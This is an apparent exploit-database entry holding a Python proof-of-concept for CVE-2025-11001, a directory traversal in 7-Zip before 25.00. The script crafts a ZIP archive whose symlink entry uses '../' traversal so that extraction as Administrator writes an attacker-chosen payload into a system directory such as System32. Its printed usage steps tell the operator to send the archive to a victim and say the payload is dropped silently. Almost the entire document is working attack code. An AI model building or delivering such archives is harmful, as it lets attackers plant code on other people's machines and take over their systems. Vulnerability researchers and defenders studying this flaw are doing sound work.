7-Zip 24.00 - Directory Traversal

# Exploit Title: 7-Zip < 25.00 - Directory Traversal to RCE via Malicious ZIP 
# Date: 2025-11-22
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.7-zip.org
# Software Link: https://www.7-zip.org/download.html
# Version: 7-Zip < 25.00
# Tested on: Windows 10 / Windows 11 (7-Zip 24.xx)
# CVE: CVE-2025-11001
# CVSS: 8.8 (High) - draft estimation
# Category: Local Privilege Escalation / Remote Code Execution
# Platform: Windows
# CRITICAL: Yes - Public exploit available, active exploitation reported
# Including: Directory Traversal via crafted symlink entry in ZIP archive
# Impact: Full system compromise when extracting malicious archive with 7-Zip as Administrator
# Fix: Upgrade to 7-Zip 25.00 or later
# Advisory: https://www.7-zip.org/history.txt
# Patch: https://github.com/ip7z/7zip/releases/tag/25.00
# Target: Windows systems running vulnerable 7-Zip versions

import struct
import os
import argparse
import sys

def build_zip(target_path, payload_file, output_zip):
    if not os.path.isfile(payload_file):
        print(f"[-] Payload file not found: {payload_file}")
        sys.exit(1)

    payload_name = os.path.basename(payload_file)
    payload_data = open(payload_file, "rb").read()

    target = target_path.replace("\\", "/").strip("/") + "/"
    traversal = "../../../../" + target

    with open(output_zip, "wb") as f:
        offset = 0

        symlink_name = "evil.lnk"
        symlink_target = traversal.encode() + b"\x00"
        symlink_extra = struct.pack("<HH", 0x756e, len(symlink_target)) + symlink_target

        symlink_header = struct.pack("<IHHHHHHIIIHH",
            0x04034b50, 20, 0x800, 0x800, 0, 0, 0,
            0, 0, 0,
            len(symlink_name), len(symlink_extra))

        f.write(symlink_header)
        f.write(symlink_name.encode())
        f.write(symlink_extra)
        f.write(b"")
        symlink_central_offset = offset
        offset += len(symlink_header) + len(symlink_name) + len(symlink_extra)

        payload_header = struct.pack("<IHHHHHHIIIHH",
            0x04034b50, 20, 0x800, 0, 0, 0,
            0, len(payload_data), len(payload_data),
            len(payload_name), 0)

        f.write(payload_header)
        f.write(payload_name.encode())
        f.write(payload_data)
        payload_central_offset = offset
        offset += len(payload_header) + len(payload_name) + len(payload_data)

        cd_offset = offset

        f.write(struct.pack("<IHHHHHHIIIHHHHHII",
            0x02014b50, 0x0317, 20, 0x800, 0, 0, 0,
            0, 0, 0,
            len(symlink_name), len(symlink_extra), 0, 0, 0, 0o777 << 16 | 0xA1ED, symlink_central_offset))
        f.write(symlink_name.encode())
        f.write(symlink_extra)

        f.write(struct.pack("<IHHHHHHIIIHHHHHII",
            0x02014b50, 0x0317, 20, 0x800, 0, 0, 0,
            0, len(payload_data), len(payload_data),
            len(payload_name), 0, 0, 0, 0, 0o777 << 16, payload_central_offset))
        f.write(payload_name.encode())

        f.write(struct.pack("<IHHHHIIH",
            0x06054b50, 0, 0, 2, 2, offset, cd_offset, 0))

    print(f"[+] Malicious archive created: {output_zip}")
    print(f"[+] Target path          : {target_path}")
    print(f"[+] Payload file         : {payload_name} ({len(payload_data)} bytes)")
    print(f"[+] Final write location : {target_path}\\{payload_name}")
    print("\n[*] Usage:")
    print("    1. Send the ZIP file to the victim")
    print("    2. Victim must run 7-Zip < 25.00 as Administrator")
    print("    3. Victim opens and extracts the ZIP → payload dropped silently")
    print("    4. Achievement unlocked")

if __name__ == "__main__":
    banner = """
    CVE-2025-11001 - 7-Zip Directory Traversal PoC
    Author: Mohammed Idrees Banyamer (@banyamer_security)
    """
    print(banner)

    parser = argparse.ArgumentParser(description="CVE-2025-11001 Exploit - 7-Zip < 25.00")
    parser.add_argument("-t", "--target", required=True, help="Target directory (e.g. C:\\Windows\\System32)")
    parser.add_argument("-p", "--payload", required=True, help="Payload file to drop (e.g. C:\\Windows\\System32\\calc.exe)")
    parser.add_argument("-o", "--output", default="CVE-2025-11001-exploit.zip", help="Output ZIP filename (default: CVE-2025-11001-exploit.zip)")

    args = parser.parse_args()

    build_zip(args.target, args.payload, args.output)